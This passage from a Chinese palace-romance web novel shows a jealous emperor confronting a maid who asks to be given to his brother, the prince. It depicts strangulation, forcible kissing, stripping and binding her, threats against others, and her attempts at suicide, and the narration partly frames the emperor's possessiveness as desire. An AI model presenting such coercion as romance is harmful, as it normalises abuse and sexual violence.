妙珠没有碰到出去寻人的侍卫,也没人和她说里面发生了什么事情,只是一进殿内就发现气氛有些古怪压抑。 去看陈怀衡,就见他脸色阴沉,那双长长的丹凤眼中带着几分的不善。 又生气了。 妙珠对此早就见怪不怪。 她走上前,给卿云打了个眼色,卿云出去前,小声给她对了口型,大致意思就是说,陈怀衡寻不到她,发脾气了。 妙珠了然,点过头算是知晓。 她没将他的生气放在心上,只自顾自道:“方才晚膳吃多了些,便出去消食了,不想陛下回来这样早。” 陈怀衡不是还应当在外面赏煙花的嗎?怎么这个点就回来了呢? 陈怀衡见到她后,心中郁气已经散了干净,可面上还是那副阴森森的样子,他道:“竟还要我等你回来。” 妙珠深吸了一口气,强忍没说什么難听的话出来。 陈怀衡平日就不讲道理,吃了酒下肚,整个人就更混账。 她若在这个时候和他计较,只能叫自己气个半死。 也罢。 她没理会他口中的话,起身去给他倒了一盏醒酒的热茶。 她道:“行行行,是奴婢的錯,陛下用些茶,消消气。” 陈怀衡就是个长不大的小孩。 残暴无礼得恬然自得。 妙珠只消哄着他就行了。 陈怀衡对此不是很受用,他看出了妙珠对他的敷衍塞责。 “你哄我呢?” 不然呢? 妙珠心里这样想着,可始终是没说出来,她道:“不曾。” 她先行转开了话题,问道:“陛下今日回来这样早?” 陈怀衡道:“回来早些你不乐意了?” 他想着今夜是除夕,晚上有满京城的煙花能看,坐在后苑看煙花,虽不比在城墙看来得痛快,可是和那些老酸儒有什么好一起看的呢? 他早些回来,本以为妙珠乖乖地待在乾清宫里面,可谁知,竟寻不得人了。 即便知道她出不了皇城,可这股焦躁还是莫名地涌上了心头。 转头又看妙珠无所谓地敷衍他,他更是不想轻拿轻放。 啧。 妙珠不明白陈怀衡这是在闹什么别扭了,死活就想要抓着这件事不放,说来说去的,就脱不开这些。 不就出去了一趟嗎,他用得着阴阳怪气至此吗。 无聊得很。 妙珠自顾自道:“今日回来路过冷宫了,里头是有男人吗?” 她不知道的那些事,陈怀衡应当是都知道的,这紫禁城里头没有东西能躲得过他的眼睛。 果不其然,陈怀衡听后默声片刻,他 问她:“你都听到了些什么?” “其实也没什么,就是一个人在说胡话,什么红花开了,要死人了。” 陈怀衡明了,他也没有藏着掖着,道:“那是前朝的一个老内监,是个疯子罢了。” 妙珠奇怪道:“老内监为何会被关在冷宫之中?” 陈怀衡道:“太皇太后关进去的。” 妙珠隐隐约约觉得再问下去就要触及到什么宫廷秘闻了,她适时地住了嘴,不再开口。 陈怀衡想到了什么,目光刺向了她:“你去冷宫做些什么?” 昏暗的烛火之中,眸光深黑,如同一眼望不到底的深潭。 妙珠道:“不是说了出去消食吗?” “消食消到了冷宫去?” 妙珠实在受不了他的无理取闹,问道:“不然呢?不然我去冷宫做些什么?” 就在两人险些起了争执之时,殿外传来了一声烟花爆响,紧接着是一声又一声。 除夕子时已到,烟火也已经开始放了。 殿内了无人声,短暂地陷入了一片沉默,没多久,陈怀衡兀地起了身向妙珠走去。 妙珠以为他这是又想欺负她,下意识躲了一下。 陈怀衡叫她这下意识地躲闪的动作刺了眼。 他咬牙道:“朕打过你?” 她躲什么躲。 弄得像是从前往她身上动过手似的。 妙珠仰头看他道:“你打过。” : 往她臀上打了好几下。 陈怀衡也知道妙珠是在说那事,攥着她的手腕往后苑去,一边又道:“都跟你说了那不算,在床上的事,算不得打。” “怎么就不算了?”妙珠梗着脖子呛他。 陈怀衡顿了步,回头淡淡瞥她一眼。 迫于他的淫。威,妙珠最后还是抿唇无言。 他带着她去了后苑,两人仰头就能透过这四四方方的苑子,看到天上绽放的纷繁烟火。 紫禁城的夜又黑又沉,霎时间被各色各样的火花照得醒如白昼,火苗呼啸着窜上天际,在云间炸开一点点细碎的星光,夜空、星辰、火树银花就像一张斑斓奇异的画轴,周遭的一切与之相比,都显得暗淡了起来。 他们的眼中倒影着流焰飞火。 陈怀衡仍舊牢牢地抓着妙珠的手,他问她:“好看吗?” 妙珠仰头望着天,看得出神,没有听到陈怀衡的话。 陈怀衡偏头看她,新月笼眉,眸清可爱,小眼珠子被烟花晃得一亮一亮的。 他就说和妙珠看烟花,比和那些老酸儒看烟花有意思多了。 他们那些个酸儒,鼻子不是鼻子,眼睛不是眼睛,能和妙珠比吗,再说,就爱成日给他寻些糟心事,成日就喜欢和他唱反调,多看一眼都嫌烦。 陈怀衡醉酒后的脑袋被妙珠的那双乌眸渐渐弄得发了酵,混得不像话,一瞬间竟不知今夕是何年,现在又是身处何处。 難得有酒劲上头的时候。 陈怀衡拉着妙珠一起坐到了檐下的石阶上。 妙珠坐了一下就弹起来了,她说:“冻屁股得很。” 陈怀衡饮酒过后,身上正燥热,倒也没什么感觉,他拉着妙珠坐到了他的身上,而后轻笑一声。 气都喷在了妙珠的耳后根。 “什么时候这般娇气?” 话是这样说,人倒是将她拥得紧。 妙珠坐他身上便也不再挣扎了,左右有他当肉垫。 她专心地看着天上的烟花,陈怀衡心思却不在那上面,他又说起了方才的那事,他问她:“是不是还念着出宫的事呢,今个儿出去,不会是想着找个狗洞钻出去吧。” 他的声音听着随和平淡,甚如戛玉敲冰,沁人心脾,妙珠却听得耳后发凉。 “你想太多了。”妙珠说。 陈怀衡却笑,反问道:“是吗?是我想多了?” 他可不信,寻常消食能去那么远的地方,他去参加宫宴去了快有一个多时辰,而待他回去的时候却寻不到人。她出去那么久?消食要消这么久吗。 陈怀衡道:“往后出去,我得叫人跟着你了。” 妙珠终于收回了视线,惊愕地看向陈怀衡,她问:“为什么?” 他最近莫不是犯什么毛病,怎么想一出是一出的。他不是说她出不了京城的吗,为什么还要让人跟着她呢? 陈怀衡问她:“不可以吗?你难道真是要出去做些什么亏心事?” 妙珠瞥开了头:“没有。你何必这番疑神疑鬼。” 陈怀衡呵笑一声,道:“谅你也是没那胆子。” 妙珠知道往后难再私下同陈怀霖见面,想了想后忽又出言问道:“陛下何时会立后?” 是不是只要他立了后便好些了,总也不会再总想着盯着她了。 妙珠丝毫不知道自己这样的话在这样的时候有多扫兴,果不其然,只听陈怀衡一声冷笑,握着她腰间的大掌都用力了一些。 “倒是轮得着你来替我操心这些了,用得着你来问吗?” 怎么,便是巴不得他能早些娶妻,真是不识好歹的东西。 想到这里,陈怀衡越发恼得慌,妙珠似乎也意识到自己的意图这些的太过明显,便委婉着道:“只是想着陛下也到了年纪罢了。” 说起这个,陈怀衡脑子便清醒地想起了一件事,他讥她道:“怎么着?先前陈怀霖二十一岁你都说不着急的,现在就替我来急上了?” 也不知道陈怀衡又是怎么就提到了陈怀霖,她道:“同协王殿下又有何干系?” 陈怀衡道:“行,你同我装傻,改日我就为他八抬大轿一个妻子过门,省得总是提起他惹你肖想。” 妙珠也不知道是气的又还是如何,嘴唇竟都发白发颤,这等模样自然是叫陈怀衡尽收眼底。 他的眼中浮现了几分阴骘,知她果真是心思没放干净,提起这事,又成这幅模样,他的声音就像是从喉咙里面挤出来的一样,又干又涩:“朝秦暮楚,你真厉害得紧。” 妙珠见陈怀衡这幅反应,都疑心他确实是撞破了他们的私情,可是,她知道,并没有,他只是单纯又发了疑心病罢了。 现在便气成这般,真知道了,他怕是真能杀了她。 可他那时杀了她,她心中也觉痛快。 妙珠不欲同他起争执,只趴在他的胸口道:“你总是将我想成这般,我不是早就说了吗,我是一直将你当做所有来看待的。哎,陛下怎么总是不信我。” 妙珠又在说些哄他的话了,若是从前的时候还能听出几分真心,可是现在,敷衍得何其明显。 陈怀衡不知是听没听出来,还是故意忽视了,最后竟也果真是没继续追究下去,他只是,用力地将人揉进怀中,恶狠狠地警告她道:“胆敢骗我” 胆敢骗我 后面的话终究是没说出来。 * 今日宫宴散开之后,陈怀霖扶着太皇太后回去寿宁宫中。 太皇太后的年纪大了,上不去城楼,也懒怠凑那些热闹。 自从陈怀衡从北疆回来之后,便慢慢将朝政大权收揽回了手中,陈怀衡不再给她插手国事的机会,她这两年除了和首辅也所联系,也管不了大多事,整个人越发闲散。紧绷了个这么些年,一闲下来,身子骨便又不好了,时常犯些毛病,一会腿疼,一会腰疼的,没一日是舒服的。 陈怀霖扶着太皇太后回了寿宁宫,两人坐在寿宁宫回廊的檐下赏着天上烟火。 看着漫天的烟火,太皇太后先行开口叹道:“很久不见这样热闹了,也不知明年还能不能见到。” 人越是上年纪,肚子里面的感慨便越多,逮到些时候就要发作。 陈怀霖道:“皇祖母这是说哪里的话,您身子骨健朗,定是能长命百岁。” 太皇太后呵呵地笑,她道:“你净是会说些讨人欢喜的话,哪里还有百岁可待?能多活个两年也该心满意足了。” 说是心满意足,可都快六十了,心里头也仍旧是不大甘心。 这一辈子过的,用尽手段,枉费心机,结果到头来呢,手上还是一场空。 她口中说着很久不见这样热闹,可眼底也仍旧是十年如一日的落寞。 热闹不热闹于她这样半截身子埋到了土里面的人来说,也总是一样的惨淡。 她道:“这么几个孩子里面,独你对我最上心,逢年过节也都愿意陪在我这个老人家身边,你那其他的几个兄弟,前些年倒也还愿意奉承我,现在呢,也瞧不见我这做祖母的了,只有你逢年过节的会来瞧我了,乔砚,到头啊,祖母也只有你了。” 陈怀霖听着她怨怼其他的人,也不应答,晚辈的不在老人家身边待着,也难免有些牢骚,可他做兄弟的,总也不能跟着应承。 左右听着就是了。 太皇太后道:“皇帝更是不用说了,前些时日我想在宫里修一座佛堂清修,他这也不允,你说说看,有这样的吗。你说他总也不能是在因着他那老师的事记恨着我吧,他这铁了心得要去推新政可林安平是自己犯了事,当初叫人弹劾了,我也没法子,只好将他弃市午门,抄了家。” 听到她说起那桩旧事,陈怀霖抿唇无言,片刻后才道:“林首辅犯错是不假,可新政也确实是无可指摘,陛下应当也没自己的私心,皇祖母多想了。” “你也觉得不错?”太皇太后看向他,不待他回答,而后又了悟,道:“也是,我听人说你还在帮着他呢。” 陈怀霖道:“当初是皇祖母留我在京协助陛下,陛下所要做的,自然也是臣子所要做的。” 过去的事都过去了,十三岁的那年没能登基,这辈子也和皇位无缘。 他又何尝想要留京?留在这里,多也只是叫人平白无故的难受不安,可既留下了,总也该去做好那些分内之事。 他什么也做不了,到头来也只能当观水月,莫怨松风。 过去的事,少去想,也少去提。 太皇太后听到陈怀霖的话后,神色却变得更讳莫如深了一些。 是吗? 真是这样吗? 可是这样的话,他又为什么要和妙珠走这样近呢?又为什么还要对她起私心呢? 他们那些背地里头的勾当之所以现在还没有被捅落出去,多还是她为他们掩护的缘故呢。 他们私底下相会,被禁卫军的人撞破过一回,好在禁卫军中有她的眼线,这事关乎陈怀霖,便被禀告到了她的这里。 她知道了后,也没说过什么,只是先行将这事压了下来,没让他们将事情捅去陈怀衡的面前。 陈怀霖若是真没私心,为何又要同妙珠私会,别说是真对一个卑贱的宫女动了心,那便太有意思了。 太皇太后没有拆穿那事,只是问道:“皇帝近些时日不是有意为你择妃?你可曾看上哪家姑娘?” 到了什么时候都脱不开被催。 若是可以,他都想让太皇太后去为他说情,不要让陈怀衡再操心他的这件事了。 可他们祖孙的关系背地里头其实一直不大好,这事人尽皆知,那陈怀霖也自然是不好再给她老人家添堵。 陈怀霖提起这事便头疼,到头来也只是化为一句:“没这心思。” 太皇太后闻此也只是笑笑便不再说了。 她靠坐在圈椅中,手上捧着暖炉,抬头望着落满京城的火树银花。 这时候,天底下一定各有各的热闹,独独皇宫这地方,各有各的索然寡味。 她对陈怀霖道:“过些时日就是皇帝生辰了,今年听他意思是说懒得大办,刚好他强推新政下去也惹得文官们生恼,面上不敢闹,背地里头怕也没少骂,这次生辰既不大办,刚好各自省心,上些奏折聊表心意便也算过了。只是我们还是去的,届时乾清宫要办家宴,你们兄弟几个,也都还是要看过的。” 陈怀霖应是。 最后又在这里陪了一会她,老人家挨不过困,便由陈怀霖扶着回去歇下了。 现下时日已经晚了,宫门已经下了钥,他出不去宫,便宿在了寿宁宫中。 皇宫之中终于迎来了久违的新年,官员们连着有十日的假,乾清宫之中因着过年的缘故,也比先前热闹了许多。 自从那日陈怀衡说要派人跟着妙珠之后,她就再不往外面跑了,整日待在自己的房间里头,她也不用再整日整日地跟在陈怀衡身边,总是说自己被他弄得腿疼,陈怀衡也良心发现任她躲懒。 妙珠闲来无事,就和荣桃坐在一起说说闲话,嗑瓜子唠唠嗑。 有暖阳的存在,冬日的寒风飞雪落在人的身上好像也没那么冷冽了。 乾清宫的宫女们都领了压胜钱,陈怀衡虽脾气不大好,可出手却大方得很,一给就是十两钱,领了钱后,对他再多的不满那也是没有了。 乾清宫早早挂上了红灯笼,死气沉沉的金殿,也终于溢满了活人气。宫女们还在初三那日攒在一起吃了个团圆饭,妙珠也凑过去了。 大家都好歹是在乾清宫一起讨日子的,也在一起过了有小半年,熬到了过年时候,自然都是高高兴兴的。 卿云倒霉些,不在这处,在里面侍奉着陈怀衡。 大家干脆聚在妙珠的房间中,那里又大又宽敞,在屋子里面支起了一个小锅,那小锅里头烧着沸汤,把菜往里头下。 这玩样好像叫打边炉,是从岭南来的一个宫女提出来的,一个锅炉烧得屋子里头热气腾腾,众人边吃边说,门关紧了之后,外头也一点都不知道里头在做些什么。 待吃过之后,找了个陈怀衡看不到的地方,众人又打起了雪仗。 声音是不敢发出太大的,但嬉笑声,多少还是传了一些出去。 陈怀衡听到了动静,起身走到窗边,就见妙珠和别人打成了一团。 她被他逼着穿上大红喜庆的衣服,站在雪中,一眼就落到她的身上,她的脸上、头发上,多多少少沾了一些雪,她东奔西跑的,哪里有腿疼的样子? 她总是说自己腿疼,嚷嚷多了,陈怀衡总也不好那么没良心,还硬逼着她往身边站着。 现在看来,生龙活虎的,可见是又在说那些话哄他。 他轻笑低喃一声:“小骗子。” 也没追究,任她在外头玩着。 他又想到了什么,向一旁的卿云问道:“这些时日她一直在房中待着?” 卿云回他:“是,平日里头得了空也就和其他的宫女们凑在一起说说闲话罢了,没再出过门了。” 陈怀衡又问她:“那她在房中都在做些什么?” 陈怀衡上次同她说过,正月初八便是他的生辰,她难道没有在为他准备生辰礼吗? 想来妙珠也不该这么没良心,可这几日又实在不见她有什么动静。 拉不下去那个脸去问她,问出来就显得他眼巴巴等着似的了,这会便旁敲侧击过来问了卿云。 卿云也犯了难:“这奴婢便不知道了。” 陈怀衡没再问下去,又站了一会,便不再看了。 妙珠这几日也没怎么被陈怀衡烦着,过得也难得舒心,只没过几日,便又到了初八,是陈怀衡的十九生辰。 她隐约记得上回陈怀衡是提过这事的,只是并没有把这件事放在心上,直到这一日乾清宫格外得忙,她才想起了这件事。 今日一早她就被他叫过去服侍,从晨时她就觉着他怪怪的,总是一幅欲言又止之势,瞧着是想说些什么,可妙珠等半天也没等到他说出口。 妙珠没想到还有话能叫陈怀衡 说不出口,看得她都累得慌,开口去问,他又是一阵无言。 妙珠没再继续猜他的心思,一直到了晚间时候,太皇太后他们便来给陈怀衡贺寿了。 陈怀霖也来了。 妙珠只是短促地和他相视了一眼,便错开了视线。 今日来的都是些陈怀衡的亲族,本来施家的兄妹也该来的,但施宁煦因着上次的事情,现在肚子里头还生着气,加上落了水后身子还在调理,这回便没过来了。 那些人给陈怀衡献了一些礼,而后又凑着说了一些喜庆话。 除了太皇太后和太后,以及陈怀霖,其他的人也不怎么知道陈怀衡同妙珠的干系,这会见妙珠在侧,也无什么异样。 只是华宁,仍旧因着几月前的那两桩事记恨着妙珠,可这回终也乖顺了一些,没去弄出些什么幺蛾子来。 妙珠却还是不放心华宁这个半大点的孩子,生怕她又给她弄出些什么事来,也都一直老实候在陈怀衡的身边,没有给她寻快活的机会。 用膳席间,陈怀衡又是有意无意当着众人的面提了一回陈怀霖的亲事。 陈怀霖倒没什么异样,仍只是找借口推脱,能推多久便推多久吧,推不下去了便再说吧。 陈怀衡的心思好像也没在这晚宴上面,乾清宫这处没过多久就结束了,众人先后离开,可太皇太后却没走,留在这处像是还有什么话要说似的。 陈怀衡没什么功夫和她说闲话,语气淡淡道:“皇祖母有话便快些说吧,夜深了,朕也要歇下了。” 太皇太后听到陈怀衡这赶客的话却也没恼,甚至笑吟吟道:“皇帝也太性急了些,便是祖母说两句话的功夫也不愿意听了吗?” 陈怀衡冷眼瞧她:“皇祖母但说无妨。” 太皇太后没看陈怀衡,反倒是看向了一旁的妙珠,她道:“孩子,上次的事情听说你是受委屈了,最后宁煦醒来,是还了你清白吧。” 提起这事,陈怀衡和妙珠的脸色都不大好看。 是陈怀衡先开了口,他抬眸扫了太皇太后一眼,道:“皇祖母非要在今日给朕寻不痛快?” 见他有了情绪,太皇太后倒笑得更厉害了些,两眼的皱纹都凑到了一起。 她道:“这怎么就是寻不痛快了呢?我是在问那孩子,怎么就给你寻不痛快了呢?” 她也不再管陈怀衡如何,直接看向妙珠。 她先是沉沉地叹了口气,而后道:“你是个苦命的孩子,上回的事打了你三十大板,是受苦了。” “这样吧,那事是我们对你的不对,三十板子你受得可怜,今个儿我趁着皇帝生辰,给你赏个恩典如何?” “你想要什么,便同我说,我都可答应你。” 妙珠听到太皇太后的话后狠狠愣了一瞬,甚至都怀疑是自己听错了。 回味一番过后,愣道:“娘娘是说是说恩典吗?” “是啊,孩子,高兴坏了吗?” 高兴 妙珠自然是高兴的。 恩典这两个字象征着什么十分清晰。 这是太皇太后施舍给了她一个能够讨要东西的机会。 有些时候,有些事情发生就是在这突然之间。 平平无奇的一天,平平无奇的一个夜晚,一个馅饼就这样砸到了你的头上。 就是突然之间,毫无征兆。 妙珠的印象之中,太皇太后或许不像她面上那样慈善,毕竟,如果一个祖母真的和善,那应该是不会在子孙的身边安插眼线的。然而,她又实在面善,脸上总是带着一抹长者对小辈的慈爱,她大概对陈怀衡的行径也很不满,可她管不住陈怀衡,所以,只能一边背地里头想让人盯着他,一边又慈爱地纵容他继续下去。上回在中秋家宴上,她还为她说话了呢。 妙珠哪里想得起别的东西,再又顾忌些别的东西。 她觉得像是有个天赐的机会忽然落到了手中,沉甸甸的,金灿灿的。 即便太皇太后说的话陈怀衡不一定会听。 可是,她难道她要因此而去把这砸到手上的机会丢掉吗? 不,不可能的。 妙珠的心竟前所未有跳动得厉害,她当初既已决定踏出那一步,便一直是在等着机会。 她或许是在等一个藏不住、忍不住的时候,又或许是像现在这样的时候。 陈怀衡现在就连出门都要让人跟着她了,他大概已经察觉出了她想要叛逃他的心,只待抓到实质,便对她处以极刑,若是再这样下去,妙珠怕自己最后连乾清宫的门都出不了了。 没办法,待在陈怀衡身边,心便枯竭,可是待在陈怀霖的身边,那颗心又那样可耻地死灰复燃。 光是想想,都为之震颤。 妙珠妙珠,不要忘记你身而为人的事情。 如果今日她连这个机会都丢弃了,那她大抵是真的不能够去做人的了。 她对此事并不抱希望,可如今在听到太皇太后的话后,心中千翻百转,口中却已经脱口而出道:“娘娘,奴婢想要一个名分。” 这话说出口,胸腔之中一直憋闷着那股气终于松散了开来,那些时日一直压抑在心头的乌云也都随之而去。 娘娘,奴婢想要一个名分。 妙珠说这话的时候,又颤又抖,可看着太皇太后的眼中,是难以掩饰的兴奋。 她就像是一个孩童,寻到了一件足够叫她高兴的事情。 她的兴奋,是那样的如有实质。 她这话一出,乾清宫中似乎沉寂了下来,没有一丝的声音。 陈怀衡本来听到太皇太后的话后就想开口赶人。 她说要给妙珠恩典,像她这样的人,不去害她都是仁善,遑论什么恩典。 可是刚要开口,就听到妙珠高高兴兴地说想要名分。 名分? 上回不是说好了吗,先给他生个孩子出来,孩子出来了,她听话,他马上给她个名分。 急些什么呀。 再说想要名分还去要到了太皇太后跟前,问他要不就是了吗。 从前也没开口和他提过,本还真以为是不在意呢。 真真是口是心非的坏孩子。 陈怀衡心中虽不喜妙珠这般,可是想着想着,那双长眸中却浮现了不自觉的欢喜,藏都藏不住。 太皇太后将陈怀衡的眼神尽收眼底,笑得更玩味了。 她问妙珠:“是想求陛下身边的名分吗?” 妙珠摇头,道:“不,不是的,奴婢斗胆想要留在协王殿下身边的名分。” 第42章 第四二十章她没有错,她没有错! 说真的,妙珠也不奢求能八抬大轿去陈懷霖的身边,那并不怎么现实,可若是能够离开这里,留在他身边,那便也够了。 她已经全然不管陈懷衡还坐在旁边了,她就是当着他的面,也是不怕说这些的了。 只是妙珠这话一出,空气就彻底陷入了凝滞之中。 太皇太后像是没听清似的,又问了一遍道:“孩子,我没听錯吧,你是说乔砚吗?” 妙珠已经用余光瞥到陈懷衡看向她的可怖视线,那实在不容忽视,可她还是乖乖重复了一遍:“回娘娘的话,是协王” 话还不曾说完,就先叫陈懷衡兀地打断了,他眼中情绪快要难忍,强忍着对太皇太后开口:“时候不早了,皇祖母先回吧。” 太皇太后还想要再说,却被陈怀衡叫人送了出去,他道:“来人,送皇祖母回宫!” 妙珠在这样的时候,对太皇太后提出这样的请求,大抵是真有些不想着活了,卿雲得了陈怀衡的令,眼看形势不对,也不敢再说,只好去将太皇太后请了出去。 可妙珠还不死心,眼见太皇太后被陈怀衡强制请离,还妄图追上去道:“娘娘,奴婢的恩典呢?你给奴婢的恩典呢?!” 她走了,怎么留下她一个人在这里呢。 妙 珠根本没能跑出两步,就被陈怀衡捏着脖颈抓了回来。 陈怀衡俨然是气極了,手上的力道大得几乎是要将她的后脖颈拧断。 他看着周遭跪了一地的宫女,吼道:“滚!都给朕滚出去!” 陈怀衡从没发过这样的脾气,往日若是生了怒,也只是脸色阴沉些许,从不如今日这般反应,这回瞧着,是怒到極致,下颌线紧绷出一条刻薄阴狠的弧度,两腮不受遏制颤抖。 宫女们忙不迭往外出去。 妙珠吃痛,整张脸都紧紧皱成了一团,可被陈怀衡掐着后颈,仍旧是倔得一声不吭。 宴席未撤,外面尽是烟火气,陈怀衡一路将妙珠拖去了里殿,他的身形颀长,提着妙珠毫不费劲。 妙珠又蹬又踹着挣扎,一路上来撞掉了不少的东西,然而这些都是无用功,她最后被他一路抓进里殿,摔到了地上,屁股摔了个结结实实。 烛火幽暗,陈怀衡的脸笼罩在阴影中,看着晦暗至極。 空荡荡的殿内,似有指骨被捏得喀吱做响之声。 妙珠忍不住撑着手往后退,陈怀衡迈着步子,踩着黑金皂靴一步一步朝她逼近。 不是早就和她说过,离开陈怀霖远一点,不是早就和她说过,膽敢背叛他,她就别活了。 他没听錯吧?嗯?他方才没听錯是吧? 陈怀衡道:“你方才说的话,现在有膽子在当着我的面说一遍。” 他实在是不知道妙珠是从哪里生出来的膽子敢说这些。 真以为太皇太后能保她啊?真以为太皇太后能叫她称心如意? 皂靴踩在地上发出一声声沉闷声响,妙珠一边手脚并用向后退着,可一边又如陈怀衡所愿,不怕死地重复了一遍方才的那话,她道:“再说一遍也是那话,我要恩典,要的就是能够留在殿下身边的名分。” 事已至此,说出去的话断断没有再改的道理了。 况说,她为什么要改,那都是她的真心话。 她早就想说了。 早就! 陈怀衡听到这话之后,面目变得竟更狰狞了一些,他居高临下地俯视着摔在地上的女子,眼中的怒火再无法掩藏。 “我警告你的话,你就全当耳旁风听?名分?你是想要哪门子的名分?陈怀霖脸给你给多了才叫来说这些?” 一连串的质问从他口中蹦出,妙珠见他盛怒,却难得没再退缩,她仰头看着他道:“是!他就是给我给多了脸,我便愿意去跟着他!不然呢?你真以为我该一辈子心甘情愿跟在你的身边?” 他待她这般,她怎就寻不得旁人了呢?她今日便是死,也不要叫陈怀衡好过。他越不想叫旁人背叛他,她今日偏就是拿了这些话戳他。 她憋了这么些时日,现在这些话从她口中说出,一句出口,另外一句就跟着蹦出,奔死而去,挡也挡不住。 果不其然,陈怀衡气極反笑,一声声阴狠的笑从他喉中溢出,就像是来索命的阎王修罗,他道:“不听话的狗东西,他随口说的那些哄女人的话,倒还是真哄得你死心塌地的。他许你什么好处了叫你敢来这番叫板?来,我问问你,当初口口声声说什么一直听我的话,说什么知道錯了” 话还不曾说完就叫妙珠打断:“我騙你的,我一直騙都在騙你的你总说我错了?我没错,我就是没错!” 他总是逼她认下那些不属于她的错,她早就想说了,她没有错,她没有错! 他凭什么将她当狗来训,狗都不该是她这样的。 她无错有之,她何罪可畏。 她再也不要去认下那些不属于她的过错了。 她认了一次又一次,可是这次她不认了,这次她便是死也不再认了。 妙珠一直退着,一直退到了床榻那边,背上顶着榻,再退不了。 陈怀衡深吸了一口气,强忍着掐死人的冲动,他缓缓蹲下了身,分明是气极了,可在此刻,却又强行逼迫着自己冷静,那张令人胆寒心折的脸靠近了妙珠,竟被他强行压得没什么表情。 可正是这样,带着一股更叫人恐惧的诡异。 光影落在他那薄薄的眼皮上,清楚地叫人看清了其中的无情。 “没事的,没事的”陈怀衡不知是在对自己说,还是在对妙珠说。 他的手抚上了妙珠的脸,不知是气得还是如何,竟还在发颤,他面色看着极尽平和,冰凉的手指抚摸妙珠的脸,他问:“是他哄骗的你来说这些是不是?我给你个机会,是不是他哄得你来说这些。” 妙珠,你只要现在点点头,低个头认个错,今日的事我也不同你追究了。 “不,不是的,没有任何人哄我” 这些都是她蓄谋已久的真心话。 陈怀衡脸上的冷静一瞬地龟裂,就像是一双手从头皮那处伸出,把他那伪装出的诡异冷静撕开得彻底,他的脸色变得扭曲了起来,不待妙珠说完,那只大掌猛地掐住了妙珠的脖颈,将她口中所要说的话彻底截断在了喉咙之中。 怒气冲顶的那一刻,神智却异常清醒。 他不敢相信她的背叛,可细细想来,不是早隐隐预料到了吗。 妙珠早就有异心了,在先前他就猜到会有这样有这一天,他疑神疑鬼,胡思乱想会有这一天,最后,这一天也终于如期而至。 事情发生早有预谋,妙珠早在预谋策划着这一天的到来。 她的怨恨难道是突如其来的吗?难道一点都难叫人去察覺吗? 他总是想着时间会抹平一切,总是想着妙珠还会是从前的那个妙珠,她卑贱低微,她满心满眼都是他,她靠在他的怀中,说她喜欢他。 他假装看不懂妙珠眼中的抗拒和虚与委蛇,可是,她最后还是亲手的把这层假象在他面前撕碎。 她背叛他了。 妙珠竟背叛他了。 她堂而皇之,光明正大的背叛他了! 可她怎么敢呢?到底是怎么敢的呢? 陈怀衡道:“我待你不好?读书、出宫,哪个又没顺着你,我待你难道还不好?” 怎么会有这样不知好歹的人,这世上怎么能有人不知好歹成这幅模样。 陈怀衡的指骨慢慢拢紧,他紧紧抿着薄唇,看着妙珠那张脸被掐得通红。 一想到他们不知道是在什么时候背着他暗通款曲,他就想要掐死面前这个水性杨花的女人。 他是真的想要掐死她,可在看到她那被掐到通红的脸时,他却又不知道是发了什么疯病,掐着她的脖子就吻了上去。 已经不算是吻了,他松开了掐在她脖子上的手,直接咬上了她的红唇。 一边要掐死她,一边要按着她往死里啃。 陈怀衡能弄得明白自己在做些什么吗? 妙珠本就被掐得喘不上气,叫他这么一通乱咬,双手扑腾挣扎,打在他的身上。 直到见她已经开始被亲得翻了白眼,陈怀衡才终于松开了她的嘴。 陈怀衡伸出手指擦去唇上被咬出的血。 他沾了血,往妙珠的脸上蹭,一边蹭一边问还在大口喘气的妙珠。 “怎么勾。引他的?” 妙珠哪里还有气去回他的话,陈怀衡又惡狠狠地笑,问她:“你说说你,身上哪里没被我碰过,他不嫌弃你啊?” 说到这里,本还在笑,想到了什么,那笑却又僵在了嘴角,他死死地盯着妙珠问:“都背着我和他偷偷做了些什么呢?脏了没?” 妙珠听到他说这些肮脏下流的话,便再无法忍受,她恨他诋毁陈怀霖,她嫌惡地看向他,道:“你以为谁都和你一样满脑子都只有那样的事吗?” 空气更加压抑低沉。 陈怀衡笑:“妙珠,你该庆幸他没碰你。” 陈怀衡一开始是想要用砍手剁脚恫吓妙珠,可是想到她今日这幅模样,也知这些东西是再吓不到她了。 她一副赴死之样,眼中所说得全是不肯屈服。 陈怀衡摸着妙珠的脸,摸着摸着大掌下移,摸着她白皙脖颈上的那片红痕。 事情已经变成了这幅模样,陈怀衡在被妙珠气到一度失去理智后,现在反倒难得清醒。 陈怀衡对她道:“这世上有太多的事比死还难受。” “妙珠,我才不会叫你死呢,不是说过的吗,你要背叛我,我会叫你生不如死的。” 他的语调清泠泠的,可听在人的耳中却只覺毛骨悚然。 妙珠想退,可退无可退。 直到陈怀衡又脱去了她的衣裳,她便知道他又是想做些什么了。 她恶心得咬牙切齿,看着陈怀衡道:“你就只有这点手段了。” 陈怀衡不屑嗤笑:“我只有这点手段?够你好受不就行了吗?” 廷狱这东西她不是也知道吗?他的手段她难道还不清楚吗,若是他想,有的是法子叫她求生不得求死不能。 犯不着,都犯不着。 就这点手段也够她吃尽苦头 了。 怒意滋生xing欲,占有,占有,看着背叛他的妙珠,他只想占有,彻底地占有。 妙珠三两下就被他扒了干净,她趁着陈怀衡伸手解腰带的时候,猛地爬起了身,作势就要往一旁的床柱上撞上去。 好在陈怀衡反应及时,一把给人薅了回来。 见她寻死,他暗骂一声,而后把人抓去了床上,拿了衣带将她的手捆了起来,另外一头绑到了床头,讓她再没寻死的机会。 妙珠铁了心得要和他作对,今日他要她活,她便偏要去死,手被绑住了,便要去咬舌。 陈怀衡察覺她的意图,来不及,下意识先将手指塞到她的口中堵着,她想咬他,陈怀衡就扣她喉咙,扣得她直呕,再没法子下口。 陈怀衡见她几次三番寻死,脸色极其阴沉:“你尽管寻死,有的是人给你陪葬。” 妙珠转瞬之间就明白陈怀衡此话是何意,她终是不再反抗,只面上灰败一片。 陈怀衡见她不再咬舌,从她口中抽出了手指,还牵扯了一条黏连的银丝,他神色冷然看着身下的女子,最后一次问她:“我再问你最后一遍,你想要什么名分?” 她要什么跟在陈怀霖身边的名分,脑子叫驴踢了一样,这也拎不清。 他再给她一次机会,现在给他认个错,都还来得及。 妙珠看陈怀衡这样,只呵呵地笑,平日怯懦的眼中,在此刻尽带着不可言说的坚毅,她把毕生的勇气都用在了今夜。 她对陈怀衡道:“再说千百遍也是协王,你为什么还要问呢?你知道我等这一天等多久了吗?今夜就把话敞开说了罢,待在你身边的每一天我都难以忍受,从一开始的胆战心惊,到后来每一日的不安不耐。” “我只是一个奴婢,所以理该服侍着你,可我也是个人,我理该怨恨你。” 